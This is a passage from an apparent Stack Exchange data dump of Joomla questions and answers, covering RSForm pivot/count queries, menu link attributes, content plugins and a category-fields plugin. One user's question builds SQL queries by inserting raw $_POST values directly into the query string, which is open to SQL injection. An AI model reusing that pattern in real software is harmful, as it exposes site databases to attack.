center;&quot;&gt;qda&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;myqad1&lt;/strong&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;bob&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;2&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;16&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;city&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;mycity1&lt;/strong&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;rob&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;3&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;16&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;state&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;mystate2&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;rob&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;3&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;16&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;qda&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;myqad1&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;rob&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;3&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;16&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;city&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;mycity1&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;jac&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;4&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;16&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;state&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;mystate1&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;jac&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;4&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;16&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;qda&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;myqad3&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;jac&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;4&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;16&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;city&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;mycity1&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;sara&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;5&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;20&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;state&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;mystate1&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;sara&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;5&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;20&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;qda&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;myqad1&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;sara&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;5&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;20&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;city&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;mycity2&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;I want to count the number of submissions where &lt;code&gt;formid&lt;/code&gt; is &lt;code&gt;16&lt;/code&gt;, &lt;code&gt;state&lt;/code&gt; is &lt;code&gt;mystate1&lt;/code&gt;, &lt;code&gt;qda&lt;/code&gt; is &lt;code&gt;myqad1&lt;/code&gt; , and &lt;code&gt;city&lt;/code&gt; is &lt;code&gt;mycity1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In my example, the count should be &lt;strong&gt;1&lt;/strong&gt; because only &lt;code&gt;SubmissionId&lt;/code&gt; number &lt;code&gt;2&lt;/code&gt; satisfies all requirements.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;//$query-&amp;gt;select('COUNT(*)');&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('FieldValue') . ' IN (&amp;quot;mycity1&amp;quot;)');&#xA;&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__rsform_submission_values'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('formid') .' IN (&amp;quot;16&amp;quot;)');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('FieldName') .' IN (&amp;quot;state&amp;quot;,&amp;quot;qda&amp;quot;,&amp;quot;city&amp;quot;)');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('FieldValue') . ' IN (&amp;quot;mystate1&amp;quot;,&amp;quot;myqad1&amp;quot;,&amp;quot;mycity1&amp;quot;)');&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach($results as $value) {&#xA;    foreach($value as $key =&amp;gt; $data) {&#xA;        echo $data.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's my attempted query, but it doesn't produce the count that I want:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(SubmissionId)  &#xA;FROM my_submission_values &#xA;WHERE FormId = '16' &#xA;   AND FieldName ='state' &#xA;   AND FieldValue = 'mystate1' &#xA;   AND FieldName = 'qda' &#xA;   AND FieldValue = 'myqad1' &#xA;   AND FieldName = 'city' &#xA;   AND FieldValue ='mycity1' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14856" LastEditorUserId="12352" LastEditDate="2021-01-30T19:32:19.533" LastActivityDate="2024-02-15T11:06:00.833" Title="How to count aggregate data from RSForm submission values with Joomla's query building methods?" Tags="|joomla-3.x|php|sql|rsform|pivot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28829" PostTypeId="1" AcceptedAnswerId="28852" CreationDate="2021-01-30T18:44:10.177" Score="2" ViewCount="126" Body="&lt;p&gt;I would like, ideally in the php file of a menu override, to add &lt;code&gt;role=&amp;quot;menu-item&amp;quot;&lt;/code&gt; i.e. direct links to another location, in a Joomla 3x (and 4x) menu.&lt;/p&gt;&#xA;&lt;p&gt;Is this possible, or do I need to use JavaScript? (No jQuery, please).&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="12352" LastEditDate="2021-01-30T19:50:53.817" LastActivityDate="2021-02-04T14:54:09.957" Title="How can I add an attribute to a direct link menu item?" Tags="|joomla-3.x|php|accessibility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28830" PostTypeId="2" ParentId="28828" CreationDate="2021-01-30T19:20:17.413" Score="0" Body="&lt;p&gt;For all future mysql support questions (whether on Stack Overflow or on Joomla Stack Exchange), you will enjoy more, faster and more accurate answers if you include a fiddle of your table schema in an online demo link.  For example: &lt;a href=&quot;https://www.db-fiddle.com/f/qnmJQugG9f8MsCw2RYdUTw/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;kbd&gt;db-fiddle&lt;/kbd&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As for this specific task, RSForm's &lt;code&gt;#__rsform_submission_values&lt;/code&gt; table is built as a Unified Content Model.  This means you will need to group related rows and use aggregate functions to filter and isolate what you need.  This technique is commonly referred to as a &lt;a href=&quot;https://stackoverflow.com/questions/tagged/pivot&quot;&gt;&lt;kbd&gt;PIVOT&lt;/kbd&gt;&lt;/a&gt;.  You can find my other &lt;a href=&quot;https://joomla.stackexchange.com/search?q=user%3A12352%20%5Bpivot%5D&quot;&gt;Joomla-related pivot queries on Joomla Stack Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I am rather surprised that your &lt;code&gt;submission_values&lt;/code&gt; table contains a &lt;code&gt;user&lt;/code&gt; column.  This is not the standard table structure designed by RSForm.  I am going to write my answer with the knowledge that the user column comes from a related table.  I am going to show this best practice so that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you have an opportunity to un-hack your table structure if you have hacked it and&lt;/li&gt;&#xA;&lt;li&gt;researchers who have a standard table structure can immediately use my snippets.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;There will be a few ways to execute the required technique.  I will show a classic pivot query with an &lt;code&gt;INNER JOIN&lt;/code&gt; and another query that uses a subquery with &lt;code&gt;EXIST&lt;/code&gt; to isolate the unique counts.  If &lt;code&gt;Username&lt;/code&gt; is not a unique field in the &lt;code&gt;submissions&lt;/code&gt; table, then find a unique field in that table to count.  &lt;strong&gt;I have tested these queries and php scripts to be successful.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Raw Query via INNER JOIN:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(DISTINCT s.Username)&#xA;FROM lmonp_rsform_submissions s&#xA;INNER JOIN lmonp_rsform_submission_values sv&#xA;    ON s.FormId = sv.FormId&#xA;        AND s.SubmissionId = sv.SubmissionId&#xA;WHERE s.FormId = 16&#xA;GROUP BY s.Username&#xA;HAVING MAX(IF(FieldName = 'state', FieldValue, NULL)) = 'mystate1'&#xA;    AND MAX(IF(FieldName = 'qda', FieldValue, NULL)) = 'myqad1'&#xA;    AND MAX(IF(FieldName = 'city', FieldValue, NULL)) = 'mycity1'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Raw Query via EXISTS(subquery):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(1)&#xA;FROM lmonp_rsform_submissions s&#xA;WHERE s.FormId = 16&#xA;    AND EXISTS (&#xA;        SELECT FormId&#xA;        FROM lmonp_rsform_submission_values sv&#xA;        WHERE s.FormId = sv.FormId&#xA;            AND s.SubmissionId = sv.SubmissionId&#xA;        GROUP BY s.Username&#xA;        HAVING MAX(IF(FieldName = 'state', FieldValue, NULL)) = 'mystate1'&#xA;            AND MAX(IF(FieldName = 'qda', FieldValue, NULL)) = 'myqad1'&#xA;            AND MAX(IF(FieldName = 'city', FieldValue, NULL)) = 'mycity1'&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, I'll present the Joomla query builder syntax to generate the above queries.&lt;br&gt;&#xA;Both snippets will share these variables as a means to allow you to customize the sql conditions without scanning through the full query block.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$formId = 16;&#xA;$having = [&#xA;   'state' =&amp;gt; 'mystate1',&#xA;   'qda' =&amp;gt; 'myqad1',&#xA;   'city' =&amp;gt; 'mycity1'&#xA;];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla Query Builder with INNER JOIN:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;   -&amp;gt;select(&amp;quot;COUNT(DISTINCT s.Username)&amp;quot;)&#xA;   -&amp;gt;from(&amp;quot;#__rsform_submissions s&amp;quot;)&#xA;   -&amp;gt;innerJoin(&amp;quot;#__rsform_submission_values sv ON s.FormId = sv.FormId AND s.SubmissionId = sv.SubmissionId&amp;quot;)&#xA;   -&amp;gt;where(&amp;quot;s.FormId = &amp;quot; . $formId)&#xA;   -&amp;gt;group(&amp;quot;s.Username&amp;quot;);&#xA;foreach ($having as $column =&amp;gt; $value) {&#xA;   $query-&amp;gt;having(&amp;quot;MAX(IF(FieldName = &amp;quot; . $db-&amp;gt;q($column) . &amp;quot;, FieldValue, NULL)) = &amp;quot; . $db-&amp;gt;q($value));&#xA;}&#xA;&#xA;//echo $query-&amp;gt;dump();  // uncomment to see the rendered sql&#xA;$db-&amp;gt;setQuery($query);&#xA;echo $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla Query Builder with EXISTS(subquery):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$subquery = $db-&amp;gt;getQuery(true)&#xA;   -&amp;gt;select(&amp;quot;FormId&amp;quot;)&#xA;   -&amp;gt;from(&amp;quot;#__rsform_submission_values sv&amp;quot;)&#xA;   -&amp;gt;where([&amp;quot;s.FormId = sv.FormId&amp;quot;, &amp;quot;s.SubmissionId = sv.SubmissionId&amp;quot;])&#xA;   -&amp;gt;group(&amp;quot;s.Username&amp;quot;);&#xA;foreach ($having as $column =&amp;gt; $value) {&#xA;   $subquery-&amp;gt;having(&amp;quot;MAX(IF(FieldName = &amp;quot; . $db-&amp;gt;q($column) . &amp;quot;, FieldValue, NULL)) = &amp;quot; . $db-&amp;gt;q($value));&#xA;}&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;   -&amp;gt;select(&amp;quot;COUNT(1)&amp;quot;)&#xA;   -&amp;gt;from(&amp;quot;#__rsform_submissions s&amp;quot;)&#xA;   -&amp;gt;where([&amp;quot;s.FormId = &amp;quot; . $formId, &amp;quot;EXISTS ($subquery)&amp;quot;]);&#xA;&#xA;//echo $query-&amp;gt;dump();  // uncomment to see the rendered sql&#xA;$db-&amp;gt;setQuery($query);&#xA;echo $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I did not benchmark these queries, so if you find one of them to be noticeably slow, you might try the other.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/users/916491/itoctopus&quot;&gt;@itoctopus&lt;/a&gt;/&lt;a href=&quot;https://joomla.stackexchange.com/users/7867/itoctopus&quot;&gt;@itoctopus&lt;/a&gt; seems &lt;a href=&quot;https://www.itoctopus.com/on-the-careless-usage-of-mysql-distinct-in-joomla-com-content&quot; rel=&quot;nofollow noreferrer&quot;&gt;rather scathing of use of DISTINCT&lt;/a&gt;, so it may be less performant.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2021-01-30T19:20:17.413" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28831" PostTypeId="1" AcceptedAnswerId="28851" CreationDate="2021-01-30T19:52:39.350" Score="1" ViewCount="80" Body="&lt;p&gt;I am building an advanced image handler for Joomla 3x where images are built dynamically at run-time based on a number of parameters defined in tags inserted into articles. An example look like this:&lt;/p&gt;&#xA;&lt;p&gt;{imgh}&amp;gt;&amp;gt;JSON code&amp;lt;&amp;lt;{/imgh}&lt;/p&gt;&#xA;&lt;p&gt;where &amp;gt;&amp;gt;JSON code&amp;lt;&amp;lt; code could be as simple as this:&lt;/p&gt;&#xA;&lt;p&gt;{&amp;quot;cmd&amp;quot;: &amp;quot;get_image&amp;quot;, &amp;quot;id&amp;quot;: 306, &amp;quot;w&amp;quot;: 600}&lt;/p&gt;&#xA;&lt;p&gt;The JSON code translates into: &amp;quot;Fetch image with ID = 306, scale it to a width of 600 pixels (using Imagick) and return the &amp;lt;IMG...&amp;gt; tag to me complete with ALT text (fetched from database), download links, upscale links using modals etc.&lt;/p&gt;&#xA;&lt;p&gt;I have managed to make it work (example at &lt;a href=&quot;https://cnj.dk/gliding/jorn-rehne-andersen-fotoalbum-1982&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cnj.dk/gliding/jorn-rehne-andersen-fotoalbum-1982&lt;/a&gt;) but there is an efficiency problem with long articles containing many {imgh} tags. It turns out that even though a large article is broken into smaller pieces using &amp;quot;system-pagebreak&amp;quot; (the &amp;quot;insert Page Break&amp;quot; button in the editor), my &amp;quot;content&amp;quot; plugin will still be presented with the full article at every page display. Thus it will run the interpreter code on each and every {imgh} tag found in the entire article, even though it is only supposed to present a tiny fraction of it. From my plugin I could decide to count the appearances of the '&amp;lt;hr class=&amp;quot;system-pagebreak&amp;quot; title=&amp;quot;XXXX&amp;quot; /&amp;gt;' and only work on the relevant ones but how can my plugin determine which page it is on?&lt;/p&gt;&#xA;&lt;p&gt;Due to this problem the site linked above does not use &amp;quot;system-pagebreak&amp;quot; but I manually split it into sub-articles. That is not optimal though.&lt;/p&gt;&#xA;" OwnerUserId="14657" LastActivityDate="2021-02-04T08:28:29.017" Title="How can a Joomla 3x &quot;content&quot; plugin determine which page it is on?" Tags="|joomla-3.x|content-plugin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28832" PostTypeId="5" CreationDate="2021-01-30T20:03:58.470" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;“a11y” stands for “accessibility.” It is a numeronym, with 11&#xA;representing the count of letters between the letter a and the letter&#xA;y.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.a11yproject.com/about/#what-does-the-term-a11y-mean&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.a11yproject.com/about/#what-does-the-term-a11y-mean&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Accessibility (a11y) is a measure of how accessible a computer system&#xA;is to all people, including those with disabilities or impairments. It&#xA;concerns both software and hardware and how they are configured in&#xA;order to enable a disabled or impaired person to use that computer&#xA;system successfully.&lt;/p&gt;&#xA;&lt;p&gt;Accessibility is also known as assistive technology.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.techopedia.com/definition/10165/accessibility-a11y#:%7E:text=Accessibility%20(a11y)%20is%20a%20measure,use%20that%20computer%20system%20successfully&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techopedia.com/definition/10165/accessibility-a11y#:~:text=Accessibility%20(a11y)%20is%20a%20measure,use%20that%20computer%20system%20successfully&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-01-30T20:03:58.470" LastActivityDate="2021-01-30T20:03:58.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28833" PostTypeId="4" CreationDate="2021-01-30T20:03:58.470" Score="0" Body="For questions that relate specifically to accessibility (a11y) techniques on the web." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-01-30T20:03:58.470" LastActivityDate="2021-01-30T20:03:58.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28834" PostTypeId="2" ParentId="28828" CreationDate="2021-01-31T05:50:09.523" Score="0" Body="&lt;p&gt;tank you @mickmackusa I change to this code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    SELECT count(DISTINCT a.SubmissionId) &#xA;    FROM `#__rsform_submission_values` a &#xA;    JOIN `jwqt5_rsform_submission_values` b &#xA;    ON(a.submissionid=b.submissionid) &#xA;    JOIN `#__rsform_submission_values` c &#xA;    ON(b.submissionid=c.submissionid) &#xA;    WHERE a.FormId= '16' &#xA;    AND a.FieldName='state' AND a.FieldValue='mystate1' &#xA;    AND b.FieldName='qda' AND b.FieldValue='myqad1' &#xA;    AND c.FieldName='city' AND c.FieldValue='mycity1'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;my total count of (state is &lt;strong&gt;mystate1&lt;/strong&gt; and qda is &lt;strong&gt;myqad1&lt;/strong&gt; and city is &lt;strong&gt;mycity1&lt;/strong&gt;) is ok (count is 1)&lt;/p&gt;&#xA;&lt;p&gt;I want to count &lt;strong&gt;mycity1&lt;/strong&gt; and qda is &lt;strong&gt;myqad1&lt;/strong&gt; (count is 2)Separated (by variable)&#xA;and Separated count &lt;strong&gt;mystate1&lt;/strong&gt; that qda is &lt;strong&gt;myqad1&lt;/strong&gt; (count is 2) (by variable)&lt;/p&gt;&#xA;" OwnerUserId="14856" LastActivityDate="2021-01-31T05:50:09.523" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28835" PostTypeId="1" CreationDate="2021-01-31T10:46:20.887" Score="0" ViewCount="104" Body="&lt;pre&gt;&lt;code&gt;$FormId=23;&#xA;$qustioan1=qka1;&#xA;&#xA;&amp;lt;form method=&amp;quot;post&amp;quot; action=&amp;quot;#&amp;quot;&amp;gt;&#xA;    &amp;lt;select name=&amp;quot;state&amp;quot; onChange=&amp;quot;irancitylist(this.value);&amp;quot;&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;--select state --&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;mystate&amp;quot;&amp;gt;mystate&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;    &amp;lt;select name=&amp;quot;city&amp;quot; id=&amp;quot;city&amp;quot;&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;--select city--&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;mycity&amp;quot;&amp;gt;mycity&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; &#xA;&#xA;&#xA;    &amp;lt;button type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; &amp;gt;go to select&amp;lt;/button&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    if(isset($_POST[&amp;quot;submit&amp;quot;])){&#xA;        $state=$_POST[&amp;quot;state&amp;quot;];&#xA;        $city=$_POST[&amp;quot;city&amp;quot;];&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If the user selects a &lt;code&gt;state&lt;/code&gt; and a &lt;code&gt;city&lt;/code&gt;, do this query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery(SELECT count(DISTINCT a.SubmissionId) &#xA;FROM `jwqt5_rsform_submission_values` a &#xA;JOIN `jwqt5_rsform_submission_values` b &#xA;ON(a.submissionid=b.submissionid) &#xA;JOIN `jwqt5_rsform_submission_values` c &#xA;ON(b.submissionid=c.submissionid) &#xA;WHERE a.FormId= '$FormId' &#xA;AND a.FieldName='state' AND a.FieldValue='$state' //mystate&#xA;AND b.FieldName='$qustioan1' AND b.FieldValue='yes' &#xA;AND c.FieldName='city' AND c.FieldValue='$city'&amp;quot;); //mycity&#xA;$Q1answer = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Otherwise, if the user selects only a &lt;code&gt;state&lt;/code&gt;, do this query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery(SELECT count(DISTINCT a.SubmissionId) &#xA;FROM `jwqt5_rsform_submission_values` a &#xA;JOIN `jwqt5_rsform_submission_values` b &#xA;ON(a.submissionid=b.submissionid) &#xA;WHERE a.FormId= '$FormId' &#xA;AND a.FieldName='state' AND a.FieldValue='$state' //mystate&#xA;AND b.FieldName='$qustioan1' AND b.FieldValue='yes' );&#xA;$Q1answer = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14856" LastEditorUserId="12352" LastEditDate="2021-01-31T22:14:50.557" LastActivityDate="2021-01-31T22:14:50.557" Title="How to conditionally add filters to my query of the rsform_submission_values table?" Tags="|joomla-3.x|php|mysql|rsform|jinput|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28836" PostTypeId="1" AcceptedAnswerId="28837" CreationDate="2021-01-31T11:10:40.303" Score="1" ViewCount="151" Body="&lt;p&gt;I need help in adding extra fields to Joomla categories(not article) in my custom component categories and I didnt find any documentation for that. I want to add a time field to categories. I tried to use fieldsattach but it is giving lots of errors. So I started building my own plugin following some joomla docs but i am not able to add extra fields into categories. This is what I tried till now.&#xA;I created a plugin xml file named plg_bfquiz_catextras.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;3.1&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;categories&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_bfquiz_catextras&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Joomla! Project&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;January 2021&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2021 - 2022 . All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;PLG_BFQUIZ_CATEXTRAS_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;plg_bfquiz_catextras&amp;quot;&amp;gt;plg_bfquiz_catextras.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;forms&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB.plg_bfquiz_catextras.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB.plg_bfquiz_catextras.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in plugin plg_bfquiz_catextras.php file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined ('_JEXEC') or die;&#xA;class plgCategoriesBFQuizCatextras extends JPlugin&#xA;{&#xA;    /**&#xA;     * Load the language file on instantiation.&#xA;     * Note this is only available in Joomla 3.1 and higher.&#xA;     * If you want to support 3.0 series you must override the constructor&#xA;     *&#xA;     * @var boolean&#xA;     * @since &amp;lt;your version&amp;gt;&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    /**&#xA;     * Prepare form and add my field.&#xA;     *&#xA;     * @param   JForm  $form  The form to be altered.&#xA;     * @param   mixed  $data  The associated data for the form.&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     * @since   &amp;lt;your version&amp;gt;&#xA;     */&#xA;    function onContentPrepareForm($form, $data)&#xA;    {&#xA;        $app    = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;        switch($option)&#xA;        {&#xA;            case 'com_bfquiz' :&#xA;                if ($app-&amp;gt;isClient('administrator'))&#xA;                {&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;                    $form-&amp;gt;loadFile('catxtras', false);&#xA;                }&#xA;&#xA;                return true;&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And finally I have a forms folder inside which there is a file named catextras.xml with content&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        